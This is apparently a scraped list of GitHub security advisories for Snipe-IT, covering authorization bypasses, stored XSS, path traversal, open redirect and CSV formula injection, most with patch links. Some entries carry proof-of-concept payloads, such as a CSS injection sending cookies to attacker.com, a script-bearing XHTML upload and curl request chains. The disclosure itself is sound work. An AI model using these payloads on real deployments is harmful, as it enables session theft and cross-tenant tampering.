Where
-Infinity
0
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Snipe-IT before 8.6.0 contains an authorization bypass (insecure direct object reference) in the asset checkout-request cancellation endpoint. The cancelbyadmin and requestingUser values are read from user-controlled URL path segments and used without a server-side authorization check, so any authenticated, low-privileged user can supply a non-empty cancelbyadmin value to bypass the request-ownership check and cancel another user's pending checkout request. Because asset and user identifiers are sequential integers, an attacker can enumerate them to cancel every pending checkout request, disrupting the asset-request workflow. This is fixed in Snipe-IT 8.6.0.

First published (updated )
Severity
6.2
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details The headercolor setting (and related color settings such as navcolor and linkcolor) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->headercolor ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the headercolor value to something like:

#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds Enable CSP in your .env file.

1 / 2
Source: GitHub
First published (updated )
Severity
5.7
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Impact The createdby of an import file can be arbitrarily overwritten via the Importer API endpoint by a user with CSV import capabilities who also has a valid API key.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Impact An authenticated user holding the import and assets.update permissions can delete arbitrary files on the server filesystem by injecting a path traversal string into an asset's image field via CSV import, then triggering the image deletion feature.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Impact The user edit flow stores url()->previous() into Laravel's intended URL session value and later redirects with redirect()->intended(...) when redirectoption=back is submitted. Because the previous URL is derived from the attacker-controlled Referer header, an authenticated user performing a normal user-edit action can be redirected to an external attacker-controlled site.

An attacker who can cause a logged-in user with permission to edit a user record to open the edit page with an attacker-controlled Referer value.

The application can be used as a trusted redirector after a legitimate user edit action. This can support phishing or trust-boundary attacks against Snipe-IT users and matches a historical open redirect class where session-stored navigation context influences redirect destinations.

Patches Patched in f4cac96358

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The legacy single-seat license checkin flow authorizes the action with the checkout permission instead of the checkin permission. Because of this, a user who is allowed to assign licenses but not unassign them can still directly access the old checkin endpoint and reclaim a license seat that is currently assigned to another user or asset.

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact In Snipe-IT v8.6.1 and lower, Actionlog::logaction() stores the request User-Agent header in useragent. That value is later included in the Activity Report CSV export by ReportsController::postActivityReport() and written with plain fputcsv().

A low-privileged authenticated user can set a formula-like User-Agent, perform a logged action, and have that value stored in the activity log. If an admin or report viewer later exports the Activity Report and opens it in spreadsheet software, the formula may execute.

Example payload:

User-Agent: =HYPERLINK("https://example.com/","click")

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact A low-privilege user can store an active-content payload as an asset attachment and have it served inline, same-origin, with an active Content-Type, achieving stored XSS. The application sanitizes uploads only when PHP finfo detects image/svg+xml. By submitting an XHTML document whose finfo MIME is text/xml (an allowed extension), the svg-sanitize branch is skipped, the <script> is stored raw, and the inline-serve path returns it as text/xml; charset=utf-8 with Content-Disposition: inline — which the browser renders as a live XHTML document and executes. The dedicated StorageHelper::allowSafeInline() whitelist that should have constrained inline-renderable types is never wired into the serve path.

Details Vulnerable code — sanitizer keyed on finfo MIME app/Http/Requests/UploadFileRequest.php:46-53

php $extension = $file->getClientOriginalExtension(); $filename = $nameprefix.'-'.strrandom(8).'-'.strslug(...).'.'.$file->guessExtension(); ... if ($file->getMimeType() === 'image/svg+xml') { $uploadedfile = $this->handleSVG($file); // svg-sanitize fires } else { $uploadedfile = filegetcontents($file); // stored RAW — no sanitization }

Vulnerable code — inline serve, no allowSafeInline() app/Http/Controllers/UploadedFilesController.php:103

php if (request('inline') == 'true') { $headers = ['Content-Disposition' => 'inline']; return Storage::download($path.$log->filename, $log->filename, $headers); }

StorageHelper::allowSafeInline() (app/Helpers/StorageHelper.php:88) exists to whitelist inline-renderable types but is not called here. The validation rule (UploadFileRequest::rules()) is mimes: over config('filesystems.alloweduploadextensionsforvalidator'), which includes svg, xml, and txt — so a text/xml file passes validation and bypasses the SVG sanitizer simultaneously.

POC 1. From a fresh install, as a user with only assets.view + assets.files targeting any existing asset created by admin 2. click on the asset created by admin and upload files. 3. create a XML file with the following payload and upload it.

xml <?xml version="1.0"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head><script>alert(document.cookie)</script></head> <body>hi</body> </html>

4. Noticed that it did not receive any error and the file was uploaded. 5. Now, can just get the URL and view it. (need to add the inline=true). image.png

Notice that the XSS was able to request document.cookie. This means that it is possible for low privilege user to perform XSS and perform privilege escalation to admin.

1 / 2
Source: GitHub
First published (updated )
Severity
5
CSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

Impact A user with the reports.view permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.

The report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()->find($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.

Preconditions The attacker needs: - A valid authenticated web session. - reports.view permission. - Knowledge or guessability of a pending checkoutacceptances.id.

The attacker does not need access to the asset/company associated with the target acceptance.

Root cause The delete action authorizes only report access, then deletes a pending acceptance by global ID:

php

$this->authorize('reports.view');

$acceptance = CheckoutAcceptance::pending()->find($acceptanceId);

$acceptance->delete();

The code does not check whether the current user can access the acceptance’s related checkoutable asset/accessory/license/etc. In multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.

Proof of concept Target acceptance belongs to Company B

The target pending acceptance was identified as id=1.

sql snipesql "SELECT ca.id ca.checkoutableid, ca.deletedat, a.assettag, a.companyid FROM checkoutacceptances ca JOIN assets a ON a.id = ca.checkoutableid WHERE ca.id=$ACCEPTANCEBID;" Observed result:

json { "id": 1, "checkoutableid": 2, "deletedat": null, "assettag": "LAB-B-42445107", "companyid": 3 }

This shows the pending acceptance belongs to asset 2, which is in Company B.

Attacker user belongs to Company A The attacker account was reportera, assigned to Company A with only report viewing permission:

json { "id": 3, "username": "reportera", "companyid": 2, "permissions": { "reports.view": 1 } }

Login as Company A reports user

curl curl -sS -c /tmp/snipecookie.txt "$BASE/login" -o /tmp/snipelogin.html

LOGINCSRF=$(grep -oP 'name="token" value="\K[^"]+' /tmp/snipelogin.html)

curl -sS -i -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ -X POST "$BASE/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=$LOGINCSRF" \ --data-urlencode "username=reportera" \ --data-urlencode "password=password"

Observed response:

HTTP/1.1 302 Found Location: http://localhost:8000/

Fetch report CSRF token

curl curl -sS -L -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ "$BASE/reports/unacceptedassets" \ -o /tmp/unaccepted.html \ -w "\nHTTP=%{httpcode} URL=%{urleffective}\n"

CSRF=$(grep -oP 'name="csrf-token" content="\K[^"]+' /tmp/unaccepted.html)

echo "CSRF=$CSRF"

Observed result:

HTTP=200 URL=http://localhost:8000/reports/unacceptedassets CSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU

Delete Company B acceptance as Company A reporter

curl curl -i -b /tmp/snipecookie.txt -c /tmp/snipecookie.txt \ -X POST "$BASE/reports/unacceptedassets/$ACCEPTANCEBID/delete" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "token=$CSRF" \ --data-urlencode "method=DELETE"

Observed response: HTTP/1.1 302 Found Location: http://localhost:8000/reports/unacceptedassets

Final state sql snipesql "SELECT id, checkoutableid, deletedat FROM checkoutacceptances WHERE id=$ACCEPTANCEBID;"

Observed result:

json { "id": 1, "checkoutableid": 2, "deletedat": "2026-06-12 04:30:00" }

This confirms that reportera from Company A deleted a pending acceptance for Company B’s asset.

Security impact This is a cross-company authorization bypass affecting checkout acceptance integrity. An attacker with report access can:

- Delete pending acceptance records for assets they cannot access. - Suppress evidence that a user has not accepted custody or terms. - Interfere with asset handoff/compliance workflows. - Tamper with another company’s pending acceptance queue.

This is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Impact An authenticated user with only users.view can open another user's detail page and see assigned license, accessory, and consumable data even though the same account is denied direct access to the Licenses, Accessories, and Consumables modules. The leaked data includes software license names, purchase order/order values, accessory and consumable names, assignment notes, and purchase costs.

Attacker Model

Authenticated user with only:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The attacker does not have:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json { "licenses.view": "1", "accessories.view": "1", "consumables.view": "1", "assets.view": "1" } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Component

- app/Http/Controllers/Users/UsersController.php

- resources/views/users/view.blade.php

- resources/views/users/print.blade.php

- Endpoints:

- GET /users/{user}

- GET /users/{user}/print

Root Cause

UsersController::show() authorizes only viewing the user, then loads inventory relationships:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $this->authorize('view', $user);

$user = User::with([ 'consumables', 'accessories', 'licenses', 'userloc', 'groups', ]) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

resources/views/users/view.blade.php renders those relationships without checking the corresponding module permissions. The license table renders name, purchase cost, purchase order, and order number. The accessory and consumable tables render item names, notes, and unit costs.

UsersController::printInventory() similarly authorizes only view on User::class and the target user, then renders resources/views/users/print.blade.php, which outputs assigned inventory names.

Proof of Concept

1. Create a user with only users.view.

2. Create a target user with assigned license/accessory/consumable records containing recognizable test values.

3. Log in as the users.view-only user.

4. Confirm direct module access is denied:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http GET /licenses GET /accessories GET /consumables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed for each:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 403 Forbidden ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Request the target user's page:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http GET /users/<target-user-id> HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 200 OK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The response contained assigned inventory data from modules the attacker could not directly access, including license name, purchase order/order values, accessory name/note/cost, and consumable name/note/cost.

1. Request the print view:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http GET /users/<target-user-id>/print HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 200 OK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The response contained assigned inventory names.

Evidence

The users.view-only test account was confirmed to lack direct inventory permissions:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json { "hasusersview": true, "haslicensesview": false, "hasaccessoriesview": false, "hasconsumablesview": false, "hasassetsview": false } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Direct access to /licenses, /accessories, and /consumables returned 403 Forbidden.

The same account received 200 OK from /users/<target-user-id> and the response included assigned inventory data that should have been protected by the corresponding inventory module permissions.

Negative Controls

Denied direct module responses did not include the test inventory strings. The same data was only disclosed through the user detail and user print views.

Impact

Organizations may use separate permissions to allow HR/helpdesk-style users to view people records without exposing license, accessory, or consumable inventories and cost/order metadata. This issue bypasses those module-specific permissions and leaks assigned inventory information through the user view.

Patches Patched in 374f426f0c

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact CommonMark is configured with htmlinput => 'escape', which blocks raw HTML injection. However, javascript: URIs in Markdown hyperlinks are not sanitized. A user with assets.edit permission can inject a malicious link into any markdown-textarea custom field. Any user who opens the asset detail page and clicks the link executes arbitrary JavaScript in their browser session.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Impact An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The attacker does not have users.delete, admin, or superuser.

Affected Component

- routes/web/users.php

- app/Http/Controllers/Users/BulkUsersController.php

- Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php @can('delete', \App\Models\User::class) <option value="delete">...</option> <option value="merge">...</option> @endcan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The confirmation path also checks delete:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulkactions') == 'delete') { $this->authorize('delete', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

However, the destructive route is registered separately:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php Route::post('bulksave', [Users\BulkUsersController::class, 'destroy']) ->name('users/bulksave'); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

and destroy() authorizes only update:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When deleteuser=1 is present, the method reaches:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $user->delete(); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept

1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

2. Create a harmless non-admin target user.

3. Log in as the attacker and obtain a valid CSRF token.

4. Send:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> Content-Type: application/x-www-form-urlencoded

token=<csrf-token> ids[]=<target-user-id> deleteuser=1 statusid=<valid-status-id> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed response:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 302 Found Location: http://<snipe-it-host>/users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Patches Patched in 374f426f0c

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Impact When Full Multiple Companies Support and scopelocationsfmcs are both enabled, the API endpoint for creating locations can still create a child location under a parent location from a different company. The code detects the invalid parent/child company mismatch, but it appears not to return immediately, so the request continues and the record is still saved. The equivalent Web flow correctly rejects the same relationship.

This breaks the expected company-boundary enforcement for location hierarchies under FMCS. It allows cross-company parent/child relationships to be inserted into the location tree, which can affect hierarchy integrity, downstream business logic, and the consistency of company isolation between the Web and API interfaces.

Patches Patched in https://github.com/grokability/snipe-it/commit/9a8cbd6e00613a726b639a97a1da71b3c54f9489

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The route POST /account/request/{itemType}/{itemId}/{cancelbyadmin?}/{requestingUser?} accepts cancelbyadmin as a plain URL path segment with no authorization check. Any authenticated user regardless of permissions can set this parameter to a truthy value and supply a victim's user ID to silently cancel that user's pending asset requests. The attacker only needs an active session; no elevated privilege is required.

Patches Patched in 8.6.1

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The API endpoint for adding a license to a predefined kit (POST /api/v1/kits/{kitid}/licenses) only checks whether the caller can edit kits, but does not perform object-level authorization on the referenced license itself. Because of this, a low-privilege user with only predefined-kit permissions can still bind a license that they should not be allowed to access or manage into a kit.

1 / 2
Source: GitHub
First published (updated )
Severity
7
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

The update() method in UsersController passes the permission request field unconditionally to NormalizePermissionsPayloadAction, which returns an empty array when the field is absent. The result is passed to PreserveUnauthorizedPrivilegedPermissionsAction, which selectively restores only the superuser key (when the editor is not a superuser) and the admin key (when the editor is neither admin nor superuser). All other permissions — including the admin flag itself when the editing user is an admin — are discarded and $user->permissions is overwritten with the sparse result.

The canEditAuthFields gate permits admins to update other non-superuser accounts (including other admins). When an admin sends a PUT /users/{id} request for another admin without including the permission field, the target's admin flag and all granular permissions are permanently destroyed. The target loses administrative access entirely with no error, warning, or out-of-band notification.

A secondary, lower-impact path exists for non-admin users holding the users.edit permission: they may target regular (non-admin, non-superuser) accounts and wipe all granular permissions in the same way.

Patches Patched in https://github.com/grokability/snipe-it/commit/1cff2d67aabd00ee51d864c1d7fb717494c1d6ad

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Impact The API endpoint for updating asset maintenance records allows an authorized user to change the assetid of an existing maintenance record to an asset outside their company scope.

In a Full Multiple Company Support / multi-company deployment, this allows a user from Company A to attach or move a maintenance record onto an asset belonging to Company B. The endpoint appears to authorize access to the existing maintenance record’s asset, but does not re-authorize the newly supplied assetid before saving the update.

Affected endpoint PATCH /api/v1/maintenances/{maintenanceid}

Also likely affected:

PUT /api/v1/maintenances/{maintenanceid}

Preconditions The attacker needs: - A valid authenticated API token. - Permission to update asset maintenance records. - Access to a maintenance record currently attached to an asset in their own company.

The attacker does not need access to the target asset’s company.

Root cause In the API maintenance update flow, the application checks access to the current maintenance record / current asset, then accepts attacker-controlled fields including assetid.

The vulnerable behavior is that the new assetid is not checked against the current user’s company scope before being saved.

Relevant code path: app/Http/Controllers/Api/MaintenancesController.php

The update method loads the maintenance, checks access to the existing $maintenance->asset, then calls: php $maintenance->fill($request->all()); $maintenance->save();

Since assetid is fillable on the maintenance model, the attacker can re-parent the record to another company’s asset.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

Security impact This breaks tenant/company isolation in multi-company deployments. A scoped user can write maintenance records against assets outside their authorized company boundary.

Potential impact includes: - Cross-company asset history pollution. - Unauthorized modification of another company’s asset maintenance timeline. - Incorrect maintenance, cost, audit, and warranty records on victim-company assets. - Loss of integrity in asset lifecycle records.

This is not intended functionality because the application’s company-scoping model should prevent users from writing records onto inaccessible assets.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The displaySig action in ActionlogController serves signature image files from a private upload directory. The filename parameter from the HTTP route is concatenated directly into a filesystem path with no sanitization, allowing an authenticated attacker to traverse outside the intended directory and read arbitrary files accessible to the web server process.

Reported by https://github.com/securin-public

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Impact A cross-tenant data injection vulnerability was identified in the Snipe-IT Accessories API when Full Multiple Companies Support (FMCS) is enabled. A low-privileged authenticated user belonging to one company can create an accessory record under another company by supplying a foreign companyid value in the API request body.

The issue occurs because the API create path mass-assigns request parameters directly to the Accessory model, and the Accessory model allows companyid to be mass assigned. Unlike the web controller, which uses Company::getIdForCurrentUser() to enforce the authenticated user’s company context, the API controller does not apply equivalent tenant enforcement during accessory creation.

As a result, a Company A user can inject persistent accessory records into Company B. The injected records are then visible to Company B users as legitimate Company B inventory records. This breaks the integrity of company-scoped inventory data and represents a tenant isolation failure in the accessory creation flow.

Patches Patched in https://github.com/grokability/snipe-it/commit/dc8cbf4786bb38b260b4ae1723ec9e7f81d82fe5

1 / 2
Source: GitHub
First published (updated )
Severity
1.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact Snipe-IT S3 signature image retrieval lacks authorization before temporary URL.

On S3-backed deployments, authenticated users who know a signature filename can obtain a 5-minute signed S3 URL because the S3 branch returns before the authorize() call used by the local-file branch.

Key evidence routes/web.php:135-143; app/Http/Controllers/ActionlogController.php:16-44; app/Http/Controllers/Account/AcceptanceController.php:160,175; app/Listeners/LogListener.php:56; app/Http/Transformers/ActionlogsTransformer.php:188

Patches Patched in https://github.com/grokability/snipe-it/commit/ded6515cbc27a28f07395da318483c2e96263259

Credit Disclosed by Ikaro tiagonas

1 / 2
Source: GitHub
First published (updated )
Severity
4.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The GET /api/v1/{object}/selectlist API endpoint is missing an authorization check. Any user who can log into Snipe-IT - regardless of permissions - can retrieve a paginated list of all user accounts using only their web session cookie. No API token or elevated permissions are required. This exposes usernames, display names, employee numbers, and user IDs for every active account in the system if FMCS is not enabled, and within the company they belong to if FMCS is enabled.

What an attacker can do with a valid login and zero permissions: - Enumerate all active user accounts by paginating through the endpoint - Harvest usernames for credential stuffing or password spray attacks - Collect employee numbers and full names for social engineering - Perform indirect email enumeration via the search parameter - Map user IDs for use in further enumeration against other endpoints

This vulnerability is exploitable only by users who have a working login to the Snipe-IT system.

Patches https://github.com/grokability/snipe-it/commit/4f943d4a7ab8e53f3d9e32770602d1118bab005f

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

Impact A user with only users.edit AND api permissions can send a PATCH to /api/v1/users/{theirownid} and grant themselves any permission except admin and superuser — for example assets.view, assets.create, reports.view, import, etc.

Patches Patched in https://github.com/grokability/snipe-it/pull/19024

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Impact The vulnerability allows a non-admin user holding only the granular users.edit permission to lock every admin out of the instance by editing the activated flag (which determines whether or not a user can login) and the ldapimport flag, which determines whether or not the user can request a password reset.

Patches Patched in https://github.com/grokability/snipe-it/commit/403f9c848b05274642f64450696bdcdc242a352a

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
